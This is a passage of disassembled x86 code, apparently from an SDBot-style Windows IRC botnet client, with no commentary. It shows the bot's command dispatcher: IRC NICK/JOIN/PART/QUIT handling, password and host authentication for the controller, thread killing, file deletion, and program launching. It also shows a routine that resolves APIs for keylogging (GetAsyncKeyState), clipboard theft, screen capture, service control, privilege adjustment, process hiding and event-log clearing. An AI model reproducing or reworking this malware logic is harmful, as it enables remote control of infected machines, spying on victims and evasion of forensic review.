mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax ; Format
lea eax, [ebp+var_1C30]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+Dst]
push offset asc_429F8C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ah ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset sub_415E1B
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_409326: ; CODE XREF: sub_401ACD+786Dj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_409326
; ---------------------------------------------------------------------------
loc_40933C: ; CODE XREF: sub_401ACD+3F46j
; sub_401ACD+3F5Bj
push [ebp+Source]
call ds:dword_427080 ; DeleteFileA
test eax, eax
jz short loc_409367
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_429F70 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_409445
; ---------------------------------------------------------------------------
loc_409367: ; CODE XREF: sub_401ACD+787Aj
push offset dword_42A778
call sub_41814D
pop ecx
push eax
jmp loc_403F48
; ---------------------------------------------------------------------------
loc_409378: ; CODE XREF: sub_401ACD+3F1Cj
; sub_401ACD+3F31j
push [ebp+Source] ; Str
call _atoi
push eax
call sub_4199CA
pop ecx
pop ecx
push 1
pop esi
push [ebp+Source]
cmp eax, esi
jnz short loc_409399
push offset unk_429F4C
jmp short loc_40939E
; ---------------------------------------------------------------------------
loc_409399: ; CODE XREF: sub_401ACD+78C3j
push offset asc_429F1C ; "-"
loc_40939E: ; CODE XREF: sub_401ACD+78CAj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D03
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
jmp loc_406D03
; ---------------------------------------------------------------------------
loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j
; sub_401ACD+3F07j
push ebx ; int
push ebx ; int
push [ebp+Source] ; Str2
push [ebp+var_4] ; int
push ebx ; Str
push [ebp+arg_4] ; int
call sub_4196BD
add esp, 18h
cmp eax, 1
push [ebp+Source]
jnz short loc_4093FD
push offset unk_429EFC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4093FD: ; CODE XREF: sub_401ACD+7924j
push offset unk_429ECC
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_409407: ; CODE XREF: sub_401ACD+3EC8j
; sub_401ACD+3EDDj
mov esi, [ebp+Source]
push esi
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944D
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB60C ; gethostbyaddr
cmp eax, ebx
jz short loc_409468
push dword ptr [eax]
loc_409433: ; CODE XREF: sub_401ACD+7999j
push esi
lea eax, [ebp+Dst]
push offset asc_429EAC ; "-"
push eax ; Dest
call _sprintf
loc_409445: ; CODE XREF: sub_401ACD+7895j
add esp, 10h
jmp loc_406CDF
; ---------------------------------------------------------------------------
loc_40944D: ; CODE XREF: sub_401ACD+794Dj
push esi
call dword_4CB6D8 ; gethostbyname
cmp eax, ebx
jz short loc_409468
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB6E0 ; inet_ntoa
push eax
jmp short loc_409433
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_401ACD+7962j
; sub_401ACD+7989j
push offset unk_429E84
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_409472: ; CODE XREF: sub_401ACD+3E9Ej
; sub_401ACD+3EB3j
push 7Fh ; Count
push [ebp+Source] ; Source
push [ebp+arg_14] ; Dest
call _strncpy
add esp, 0Ch
push [ebp+Source]
push offset unk_429E5C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_40948F: ; CODE XREF: sub_401ACD+3E74j
; sub_401ACD+3E89j
push 5
push ebx
push ebx
push [ebp+Source]
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+Source]
test eax, eax
jz short loc_4094B3
push offset unk_429E3C
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094B3: ; CODE XREF: sub_401ACD+79DAj
push offset unk_429E18
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_4094BD: ; CODE XREF: sub_401ACD+3E4Aj
; sub_401ACD+3E5Fj
mov eax, [ebp+Source]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_429DF0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_4094D6: ; CODE XREF: sub_401ACD+3E20j
; sub_401ACD+3E35j
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409855
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_40B08E
add esp, 10h
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_408995
; ---------------------------------------------------------------------------
loc_409528: ; CODE XREF: sub_401ACD+3DF6j
; sub_401ACD+3E0Bj
mov esi, [ebp+Source]
push esi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_401E94
push esi ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A2D
pop ecx
pop ecx
push 1F4h
call ds:dword_427078 ; Sleep
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call dword_4CB6EC ; closesocket
push [ebp+var_10]
push esi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E5A4[eax]
call ds:dword_4270AC ; TerminateThread
push esi ; Str
call _atoi
imul eax, 234h
push esi ; Str
mov dword_43E5A4[eax], ebx
call _atoi
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E390[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D6: ; CODE XREF: sub_401ACD+3DCCj
; sub_401ACD+3DE1j
push [ebp+Source] ; Str2
push offset aAll ; "all"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_409642
call sub_40B2C0
cmp eax, ebx
jle short loc_4095FD
push eax
push offset unk_429DC4
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_4095FD: ; CODE XREF: sub_401ACD+7B23j
push offset asc_429D9C ; "-"
loc_409602: ; CODE XREF: sub_401ACD+24FAj
; sub_401ACD+2519j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_409610: ; CODE XREF: sub_401ACD+721Ej
cmp [ebp+var_8], ebx
jnz short loc_409631
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_409629: ; CODE XREF: sub_401ACD+6DB5j
call sub_409A73
add esp, 14h
loc_409631: ; CODE XREF: sub_401ACD+26F7j
; sub_401ACD+2722j ...
lea eax, [ebp+Dst]
push eax
call sub_4151AD
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409642: ; CODE XREF: sub_401ACD+7B1Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+File], eax
loc_40965E: ; CODE XREF: sub_401ACD+7C02j
mov eax, [ebp+File]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi ; Str
call _atoi
push eax
call sub_40B232
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409685
push offset unk_429D78
jmp short loc_40968A
; ---------------------------------------------------------------------------
loc_409685: ; CODE XREF: sub_401ACD+7BAFj
push offset asc_429D4C ; "-"
loc_40968A: ; CODE XREF: sub_401ACD+7BB6j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096BA
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_4096BA: ; CODE XREF: sub_401ACD+7BCFj
lea eax, [ebp+Dst]
push eax
call sub_4151AD
add [ebp+File], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965E
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D6: ; CODE XREF: sub_401ACD+3DA2j
; sub_401ACD+3DB7j
cmp [ebp+var_C], ebx
jz loc_409855
push [ebp+Source] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409855
push esi ; Args
push offset aS ; "%s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push esi
push offset dword_429D30
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409712: ; CODE XREF: sub_401ACD+3D78j
; sub_401ACD+3D8Dj
push [ebp+Source] ; Args
push offset aPartS_1 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push [ebp+Source]
push offset unk_429D0C
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409732: ; CODE XREF: sub_401ACD+3D4Ej
; sub_401ACD+3D63j
push [ebp+esi+Format]
push [ebp+Source] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 10h
push [ebp+Source]
push offset unk_429CE8
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409759: ; CODE XREF: sub_401ACD+3D24j
; sub_401ACD+3D39j
push [ebp+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push [ebp+Source]
push offset unk_429CC4
jmp loc_40984E
; ---------------------------------------------------------------------------
loc_409779: ; CODE XREF: sub_401ACD+3164j
; sub_401ACD+3179j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
pop ecx
lea eax, [ebp+Dst]
pop ecx
push [ebp+Source]
push offset asc_429CA0 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push [ebp+Source] ; Str
call _atoi
add esp, 14h
loc_4097B3: ; CODE XREF: sub_401ACD+7D34j
push eax
call ds:dword_427078 ; Sleep
loc_4097BA: ; CODE XREF: sub_401ACD+2AA3j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C1: ; CODE XREF: sub_401ACD+313Aj
; sub_401ACD+314Fj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
pop ecx
lea eax, [ebp+Dst]
pop ecx
push [ebp+Source]
push offset asc_429C78 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_4151AD
push [ebp+Source] ; Str
call _atoi
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B3
; ---------------------------------------------------------------------------
loc_409803: ; CODE XREF: sub_401ACD+EC9j
; sub_401ACD+EDEj
push dword ptr [ebp+esi+Args] ; Str1
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax ; int
lea eax, [ebp+Str1]
push dword_42909C ; int
push eax ; Dest
call sub_40B08E
add esp, 10h
lea eax, [ebp+Str1]
push eax ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
lea eax, [ebp+Str1]
push eax ; Args
push offset asc_429C54 ; "-"
loc_40984E: ; CODE XREF: sub_401ACD+70B5j
; sub_401ACD+778Bj ...
call sub_415221
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+6CBAj
pop ecx
loc_409855: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+File]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985D: ; CODE XREF: sub_401ACD+AB4j
; sub_401ACD+AC9j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Source], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset Delim ; "!"
push [ebp+var_90] ; Str
call _strtok
mov esi, eax
push offset byte_4CB50C ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_429C50 ; "~"
push eax ; Str
call _strtok
push [ebp+Source] ; Str2
mov edi, eax
push offset aCool ; "cool"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_4098FC
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429BD0
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FC: ; CODE XREF: sub_401ACD+7DEBj
mov [ebp+File], offset off_429160
loc_409903: ; CODE XREF: sub_401ACD+7E52j
mov eax, [ebp+File]
push edi
push dword ptr [eax]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_409963
add [ebp+File], 4
cmp [ebp+File], offset off_429164
jb short loc_409903
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 14h
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push edi
push esi
push offset unk_429B7C
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409963: ; CODE XREF: sub_401ACD+7E45j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409968: ; CODE XREF: sub_401ACD+7EC5j
cmp [ebp+Source], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409988
push [ebp+Source] ; Str2
push offset aCool ; "cool"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_409999
loc_409988: ; CODE XREF: sub_401ACD+7EA6j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409968
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409999: ; CODE XREF: sub_401ACD+7EB9j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh ; Count
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099D0
push ebx ; int
push [ebp+var_4] ; int
push offset unk_429B5C ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_4099D0: ; CODE XREF: sub_401ACD+7EE7j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B3C
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E1: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+Source] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+Source] ; Args
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409A2D
add esp, 10h
mov dword_4CB504, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409A2D(int,char *Format,char Args)
sub_409A2D proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Format = dword ptr 0Ch
Args = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+Args]
push eax ; Args
lea eax, [ebp+Dest]
push [ebp+Format] ; Format
push 200h ; Count
push eax ; Dest
call __vsnprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
leave
retn
sub_409A2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_409A73(int,char *Str,int,int,int)
sub_409A73 proc near ; CODE XREF: sub_401ACD+518p
; sub_401ACD+137Ep ...
var_400 = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409A8E
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409A8E: ; CODE XREF: sub_409A73+14j
push edi ; Str
call _strlen
push [ebp+Str] ; Str
mov esi, 1FAh
sub esi, eax
call _strlen
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_6 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+Dest]
push [ebp+Str]
push edi
push offset aSSS_1 ; "%s %s :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409B11
push 7D0h
call ds:dword_427078 ; Sleep
locret_409B11: ; CODE XREF: sub_409A73+91j
leave
retn
sub_409A73 endp
; =============== S U B R O U T I N E =======================================
sub_409B13 proc near ; CODE XREF: WinMain(x,x,x,x)+4Bp
push ebx
push ebp
mov ebp, ds:dword_42709C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4270BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409C33
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CB700, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CB674, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CB658, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CB568, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CB514, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CB544, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CB5BC, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CB6B4, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CB710, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CB574, eax
call esi ; GetProcAddress
cmp dword_4CB700, ebx
mov dword_4CB55C, eax
jz short loc_409C11
cmp dword_4CB674, ebx
jz short loc_409C11
cmp dword_4CB658, ebx
jz short loc_409C11
cmp dword_4CB568, ebx
jz short loc_409C11
cmp dword_4CB544, ebx
jz short loc_409C11
cmp dword_4CB5BC, ebx
jz short loc_409C11
cmp dword_4CB6B4, ebx
jz short loc_409C11
cmp dword_4CB710, ebx
jz short loc_409C11
cmp dword_4CB574, ebx
jz short loc_409C11
cmp eax, ebx
jnz short loc_409C1B
loc_409C11: ; CODE XREF: sub_409B13+B8j
; sub_409B13+C0j ...
mov dword_4CB714, 1
loc_409C1B: ; CODE XREF: sub_409B13+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB68C, eax
jz short loc_409C48
push 1
push ebx
call eax
jmp short loc_409C48
; ---------------------------------------------------------------------------
loc_409C33: ; CODE XREF: sub_409B13+1Dj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB718, eax
mov dword_4CB714, 1
loc_409C48: ; CODE XREF: sub_409B13+117j
; sub_409B13+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4270B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409D5D
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CB6B0, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CB660, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CB5F4, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CB704, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CB624, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CB644, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CB6A8, eax
call esi ; GetProcAddress
cmp dword_4CB6B0, ebx
mov dword_4CB594, eax
jz short loc_409D01
cmp dword_4CB660, ebx
jz short loc_409D01
cmp dword_4CB5F4, ebx
jz short loc_409D01
cmp dword_4CB704, ebx
jz short loc_409D01
cmp dword_4CB624, ebx
jz short loc_409D01
cmp dword_4CB644, ebx
jz short loc_409D01
cmp dword_4CB6A8, ebx
jz short loc_409D01
cmp eax, ebx
jnz short loc_409D0B
loc_409D01: ; CODE XREF: sub_409B13+1B8j
; sub_409B13+1C0j ...
mov dword_4CB71C, 1
loc_409D0B: ; CODE XREF: sub_409B13+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CB620, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CB528, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CB5F0, eax
call esi ; GetProcAddress
cmp dword_4CB620, ebx
mov dword_4CB5D8, eax
jz short loc_409D68
cmp dword_4CB528, ebx
jz short loc_409D68
cmp dword_4CB5F0, ebx
jz short loc_409D68
cmp eax, ebx
jnz short loc_409D72
jmp short loc_409D68
; ---------------------------------------------------------------------------
loc_409D5D: ; CODE XREF: sub_409B13+144j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB720, eax
loc_409D68: ; CODE XREF: sub_409B13+232j
; sub_409B13+23Aj ...
mov dword_4CB71C, 1
loc_409D72: ; CODE XREF: sub_409B13+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409F2B
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CB6C4, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CB608, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CB678, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CB554, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CB5B8, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CB630, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CB5D4, eax
call esi ; GetProcAddress
cmp dword_4CB6C4, ebx
mov dword_4CB5E4, eax
jz short loc_409E1B
cmp dword_4CB608, ebx
jz short loc_409E1B
cmp dword_4CB678, ebx
jz short loc_409E1B
cmp dword_4CB554, ebx
jz short loc_409E1B
cmp dword_4CB5B8, ebx
jz short loc_409E1B
cmp dword_4CB630, ebx
jnz short loc_409E25
loc_409E1B: ; CODE XREF: sub_409B13+2DEj
; sub_409B13+2E6j ...
mov dword_4CB724, 1
loc_409E25: ; CODE XREF: sub_409B13+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CB638, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CB610, eax
call esi ; GetProcAddress
cmp dword_4CB638, ebx
mov dword_4CB6C0, eax
jz short loc_409E60
cmp dword_4CB610, ebx
jz short loc_409E60
cmp eax, ebx
jnz short loc_409E6A
loc_409E60: ; CODE XREF: sub_409B13+33Fj
; sub_409B13+347j
mov dword_4CB724, 1
loc_409E6A: ; CODE XREF: sub_409B13+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CB648, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CB530, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CB538, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CB59C, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CB5A0, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CB54C, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CB614, eax
call esi ; GetProcAddress
cmp dword_4CB648, ebx
mov dword_4CB53C, eax
jz short loc_409F0E
cmp dword_4CB530, ebx
jz short loc_409F0E
cmp dword_4CB538, ebx
jz short loc_409F0E
cmp dword_4CB59C, ebx
jz short loc_409F0E
cmp dword_4CB5A0, ebx
jz short loc_409F0E
cmp dword_4CB54C, ebx
jz short loc_409F0E
cmp dword_4CB614, ebx
jz short loc_409F0E
cmp eax, ebx
jnz short loc_409F18
loc_409F0E: ; CODE XREF: sub_409B13+3C5j
; sub_409B13+3CDj ...
mov dword_4CB724, 1
loc_409F18: ; CODE XREF: sub_409B13+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CB534, eax
jnz short loc_409F40
jmp short loc_409F36
; ---------------------------------------------------------------------------
loc_409F2B: ; CODE XREF: sub_409B13+26Aj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB728, eax
loc_409F36: ; CODE XREF: sub_409B13+416j
mov dword_4CB724, 1
loc_409F40: ; CODE XREF: sub_409B13+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_40A00C
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CB640, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CB698, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CB6A0, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CB65C, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CB578, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CB524, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CB69C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CB510, eax
call esi ; GetProcAddress
cmp dword_4CB640, ebx
mov dword_4CB5B0, eax
jz short loc_40A017
cmp dword_4CB698, ebx
jz short loc_40A017
cmp dword_4CB6A0, ebx
jz short loc_40A017
cmp dword_4CB65C, ebx
jz short loc_40A017
cmp dword_4CB578, ebx
jz short loc_40A017
cmp dword_4CB524, ebx
jz short loc_40A017
cmp dword_4CB69C, ebx
jz short loc_40A017
cmp dword_4CB510, ebx
jz short loc_40A017
cmp eax, ebx
jnz short loc_40A021
jmp short loc_40A017
; ---------------------------------------------------------------------------
